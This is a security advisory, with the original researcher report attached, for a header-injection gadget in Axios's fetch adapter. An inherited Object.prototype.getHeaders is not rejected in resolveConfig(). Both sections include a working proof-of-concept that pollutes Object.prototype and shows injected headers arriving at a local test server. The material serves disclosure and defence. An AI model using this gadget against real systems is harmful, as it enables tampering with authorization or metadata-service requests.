CVE-2026-101900: Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders

Summary

Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.

Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.

Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.

Affected Functionality

Affected:

- Fetch adapter requests. - resolveConfig() handling of utils.isFormData(data). - Request bodies that can be spoofed as FormData through inherited Symbol.toStringTag, append, and getHeaders.

Not affected:

- Node HTTP adapter's later FormData header path, which checks data.getHeaders !== Object.prototype.getHeaders. - Plain object request bodies rejected by current isFormData() plain-object guard. - Processes without prototype pollution.

Technical Details

lib/helpers/resolveConfig.js currently contains:

js if (utils.isFormData(data)) { if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) { headers.setContentType(undefined); } else if (utils.isFunction(data.getHeaders)) { setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); } }

Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

js Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = function () {}; Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });

await axios.post(url, ['a', 'b'], { adapter: 'fetch' });

Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.

Workarounds

Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.

<details> <summary><h3>Original report</h3></summary> Summary

The Node HTTP adapter contains a guard that prevents Object.prototype.getHeaders from being used as a FormData header source. The shared resolveConfig() helper does not have the same guard. The fetch adapter calls resolveConfig(), so it can still merge headers returned by inherited data.getHeaders().

This is a patch mismatch for the FormData prototype-pollution header-injection class.

Affected Version

Validated on:

- axios: 1.17.0 - commit: 4306df2 - runtime: Node.js v24.15.0

Preconditions

- Application uses adapter: 'fetch'. - A separate prototype-pollution primitive can write: - Object.prototype[Symbol.toStringTag] = 'FormData' - Object.prototype.append = function () {} - Object.prototype.getHeaders = function () { ... } - The request body is an array or custom class instance. Plain objects are blocked by the current isFormData() plain-object guard.

Root Cause

lib/adapters/http.js contains:

js data.getHeaders !== Object.prototype.getHeaders

But lib/helpers/resolveConfig.js only checks:

js } else if (utils.isFunction(data.getHeaders)) { setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); }

The fetch adapter calls resolveConfig(config) before dispatching the request.

Impact

An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.

Proof of Concept

js import axios from './index.js'; import http from 'http';

const start = (handler) => new Promise((resolve) => { const server = http.createServer((req, res) => { let body = ''; req.on('data', (chunk) => (body += chunk)); req.on('end', () => handler(req, res, body)); }); server.listen(0, '127.0.0.1', () => resolve(server)); });

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = []; const tag = Symbol.toStringTag;

const server = await start((req, res, body) => { hits.push({ headers: req.headers, body }); res.setHeader('Content-Type', 'application/json'); res.end('{"ok":true}'); });

try { Object.prototype[tag] = 'FormData'; Object.prototype.append = function () {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); headers['X-Poisoned'] = 'yes'; return headers; };

await axios.post(http://127.0.0.1:${server.address().port}/fetch-formdata, ['a', 'b'], { adapter: 'fetch', timeout: 3000 });

console.log(hits[0]); } finally { delete Object.prototype[tag]; delete Object.prototype.append; delete Object.prototype.getHeaders; await stop(server); }

Observed wire request:

json { "headers": { "x-poisoned": "yes", "content-type": "text/plain;charset=UTF-8", "content-length": "3" }, "body": "a,b" }

References

- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9 - https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9 - Related patch area: lib/adapters/http.js, lib/helpers/resolveConfig.js </details>

---